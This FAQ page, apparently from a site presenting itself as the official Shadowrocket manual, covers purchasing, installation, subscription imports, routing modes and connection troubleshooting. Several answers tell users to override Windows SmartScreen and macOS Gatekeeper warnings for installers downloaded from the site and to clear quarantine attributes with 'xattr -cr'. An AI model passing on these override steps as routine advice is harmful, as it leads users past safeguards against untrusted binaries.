Official Manual · FAQ
Shadowrocket FAQ
Start by identifying your device and where the problem occurs, then open the relevant answer. These steps assume you already have your own subscription or server details. When troubleshooting connection issues, change one setting at a time and keep a restorable copy of your original configuration.
View download and installation steps for all platforms →Download options and purchase history
Purchase & authenticity
Check your platform, store listing, and purchasing account before buying or restoring the app.
Does Shadowrocket work on desktop and Android? How much does it cost on each platform?
Yes. Shadowrocket is available for iPhone, iPad, Mac, Windows, Android, and Linux. The iPhone and iPad app costs $2.99 as a one-time App Store purchase. The Mac (Apple Silicon and Intel), Windows, Android, and Linux versions are free. Get desktop and Android installers from this site's download page; package URLs are under /dl/shadowrocket/. Buying the app once does not include a proxy service. This site does not provide, sell, or recommend servers or subscriptions. You’ll need your own subscription or server details to connect.
How can I verify Shadowrocket on the App Store?
Open the App Store product page from the download guide. Check the product name, Shadowrocket, the developer, Shadow Launch Technology Limited, and app ID 932747118. Compare the listing with the official icon in this site's header; don’t rely on similar names in search results. The iPhone and iPad app costs $2.99 as a one-time App Store purchase. The Mac, Windows, Android, and Linux versions are free. The checkout currency depends on the storefront. Get desktop and Android installers from this site's download page.
What should I check if Shadowrocket doesn’t appear in App Store search?
Open the product page directly to distinguish a search issue from availability in your current storefront. Check the country or region for the Apple Account used for purchases, Screen Time content and age restrictions, and whether the account needs updated terms or payment details. The app is not currently available in the mainland China storefront. To change your region, go to Settings and open Media & Purchases in your Apple Account. Check the country or region options and follow Apple’s instructions for your balance, subscriptions, and payment details. Your device language does not determine your storefront region.
Do I need to buy Shadowrocket again after changing devices or reinstalling it?
On iPhone or iPad, sign in with the original purchasing account and look for Shadowrocket in the App Store’s purchased items or app list, then download it again. Availability depends on your purchase history and current storefront. If the app still shows a purchase button, check the account signed in to Media & Purchases before paying again. The iPhone and iPad app costs $2.99 as a one-time App Store purchase. The Mac, Windows, Android, and Linux versions are free. Restoring the app does not restore its configuration, so save your existing settings and any required server details separately before changing devices.
Can I install Shadowrocket on iPad? Where can I check the system requirements?
Yes. Get Shadowrocket for iPad from its App Store product page. Check the App Store listing for the system requirements. The iPhone and iPad app costs $2.99 as a one-time App Store purchase; the Mac, Windows, Android, and Linux versions are free. You can redownload the app on eligible iPhones and iPads using the same purchasing account. Configurations do not necessarily sync in full just because you use the same account. Before connecting, check the current server, Config, and Global Routing rather than assuming another device’s network setup applies.
Package types, system warnings, and interface labels
Installation & first launch
Only follow these steps for installers you’ve confirmed came from this site's download page.
Which Mac version should I choose: Apple Silicon or Intel?
Open About This Mac from the Apple menu. If it shows an Apple chip and names an Apple chip family, choose the Apple Silicon version. If it shows an Intel processor, choose the Intel version. Both downloads are in the Mac section of this site's download guide; there’s no need to guess from the computer’s appearance. If macOS says it cannot verify the developer, check the blocked-app notice under Privacy & Security in System Settings and select Open Anyway. If it says the app is damaged, confirm the package came from this site, download it again, and follow the guide’s steps for extended attributes.
Windows warns that the app may be risky. How do I open it for the first time?
First confirm that you got the installer from this site's download page and that its address is under /dl/shadowrocket/. Then identify the source of the warning. If Windows SmartScreen says it protected your PC, select More info, verify the file you’re about to run, and choose Run anyway. Do this only for an installer whose source you’ve confirmed as this site, not for files from elsewhere. If an organization policy blocks it, the file is quarantined, or Run anyway is unavailable, check Windows guidance or contact your device administrator. Don’t disable system-wide protections to install it.
Mac says it cannot verify the developer or that the app is damaged. What should I do?
If macOS cannot verify the developer, try opening the app once, then find its notice under Privacy & Security in System Settings. Select Open Anyway and confirm as prompted. If macOS says the app is damaged, delete the incomplete download and get it again from this site. Once you’ve confirmed the app is in Applications and came from the correct source, run xattr -cr /Applications/Shadowrocket.app in Terminal, then reopen it. This command clears the app’s extended attributes; it cannot repair a damaged download or replace checking the installer’s source.
What permissions should I check when installing on Android or Linux for the first time?
On Android, download the arm64 installer from this site. If installation is blocked, allow installs from unknown apps only for the browser or file manager that downloaded the file, then turn the permission off afterward if you wish. If an in-app browser download does not respond, use the system browser. On Linux, choose the deb, rpm, or AppImage package for your distribution; use apt or dnf for packages, or run the AppImage directly. AppImage needs execute permission the first time. Set it in the file’s properties, or run chmod +x on the downloaded file. See the download guide for installation commands.
The interface is in English. Which sections should I start with?
Use the interface’s exact labels; you don’t need to change its language to follow the guide. Home shows connections and servers. Add Server is for adding your existing server details. Subscribe handles subscriptions. Config contains configuration, Settings contains app settings, and Global Routing sets the routing mode. The guide keeps these English labels and explains what each one does. Layouts may vary by platform or system language, so follow the labels shown on your device. For a first setup, use the getting-started guide to import details, select a server, grant permission, and test the connection.
Importing and managing existing details
Subscriptions & server imports
Identify whether you have a subscription URL, a single server link, or manual settings, then choose the matching option.
How do I import an existing subscription into Shadowrocket?
Copy the complete subscription URL from your existing service details. Check for extra spaces, line breaks, or punctuation added by a messaging app. In Home, open Add Server and choose Subscribe for the subscription type. Paste the URL, add a recognizable note, save, then update it. After importing, check that the expected entries appear in the list and select a server to test. Don’t paste a subscription URL into an individual server’s address field. Subscription URLs may contain access credentials, so don’t post them publicly or share screenshots without redacting them.
Subscription import failed or returned an empty list. What should I check first?
Check the URL, network access, response, and subscription status in that order. Copy the original URL again and check for spaces or missing parameters. Then confirm that your current network can reach it. If the response is a login page, a web page, or an error instead of data the app can read, retrying the import won’t help. An empty list can also mean the subscription expired, access changed, or the format is incompatible. Check the details with your existing service provider. When troubleshooting, record only the status and a brief error summary; don’t disclose the full URL or its credentials.
How do I update a subscription, and why did its entries change?
Use the subscription’s action menu to update it. When the update finishes, check the number and names of the entries and the currently selected server. An update rereads the remote list; it does more than refresh latency. If entries were removed, renamed, or changed remotely, the local list may change too, and your previously selected server may no longer work. Back up any local configuration you need before bulk updates. If an update fails, don’t immediately delete the entire subscription. Check its status and your network first, then decide whether to rebuild the entries once you’ve confirmed they can be retrieved again.
Scan QR Code didn’t add anything. What should I do?
Check that camera access is allowed and that the QR code is complete, clear, and unobstructed. Scan QR Code must recognize a supported server or configuration format; a QR code for a regular web page, login page, or payment page won’t become a server automatically. After scanning, verify the type, address, port, and transport settings before saving and testing. If the code is displayed on the same device, use an image-recognition option if the app provides one. Otherwise, use the original link or enter your existing details manually. Don’t repeatedly scan unknown content.
Which settings should I check when using Add Server manually?
Choose the protocol type that exactly matches your server details, then enter the address, port, and authentication fields. Shadowsocks encryption and password settings, a VMess or VLESS UUID, and a Trojan password are not interchangeable. If TLS or a specific transport is used, check the corresponding settings, such as server name, Host, and Path. Don’t paste a full web address into the server address field or infer the protocol from the port alone. After saving, run Connectivity Test and verify an actual request. See the technical reference for background on protocol fields and their tradeoffs.
Distinguish permissions, servers, rules, and DNS
Rules & Troubleshooting
The connection switch, latency tests, and web access measure different things; none can stand in for the others.
How should I choose Config, Proxy, or Direct in Global Routing?
Config follows the Rule in your current configuration to decide how connections are routed. Use it for everyday traffic when you have routing rules set up. Proxy routes regular traffic through the selected proxy path, which can help temporarily isolate rule-related issues. Direct tests a direct connection. These are not speed settings, and switching between them won’t fix incorrect server details. For rules-based routing, choose Config and check the rule order from top to bottom, including FINAL. When troubleshooting is done, restore the mode you normally use.
The connection switch won’t turn on, or it turns off right away. What should I do?
Make sure you’ve selected a working server, and check whether the system prompts you to authorize a VPN configuration. On iPhone and iPad, follow the system prompts to allow it and complete device verification. If you previously denied permission, check the VPN configuration in system settings and try again. If the connection still drops immediately, pause other VPN connections, find the earliest error in Diagnostics, and check the authentication details and configuration separately. Managed devices may restrict new VPN configurations; contact your device administrator rather than repeatedly deleting system settings.
Shadowrocket says it’s connected, but web pages won’t load. What should I check, and in what order?
A connected status means the connection process started; it doesn’t mean every request succeeded. Turn off the connection and confirm that your basic network works. Then check Connectivity Test for the selected server, system time, and authentication details. Temporarily compare Proxy with Config: if only Config fails, focus on Rule; if both fail, check the server and transport settings. If domain names fail while other connectivity works, check DNS. Change one setting at a time and record the result. Test an actual web page, not just a latency reading.
Shadowrocket uses more battery than expected. Which settings should I adjust?
Battery use depends on traffic volume, wireless signal, server reconnections, protocol processing, and diagnostic logging; the protocol name alone doesn’t tell you much. Compare similar usage periods in your system’s battery settings, accounting for video streaming and weak signals. Then check for repeated failed reconnects or frequent Connectivity Test runs. Once troubleshooting is complete, reduce detailed logging, set On Demand as needed, and avoid refreshing subscriptions too often. Keep your original configuration and assess one change at a time instead of changing every network setting to save power.
What should I include from Diagnostics before reporting an issue?
Record the steps that led to the issue, device platform, network type, selected protocol, Global Routing mode, and the Diagnostics error summary matching the failure time. You can also note whether switching networks changed the result, how Config and Proxy differed, and whether Connectivity Test completed. Before sharing, remove subscription URLs, passwords, UUIDs, server credentials, and personal browsing records. Redact domains and addresses as needed. Include enough detail to identify the issue, but don’t publish the full configuration file. See the technical reference for more on individual fields.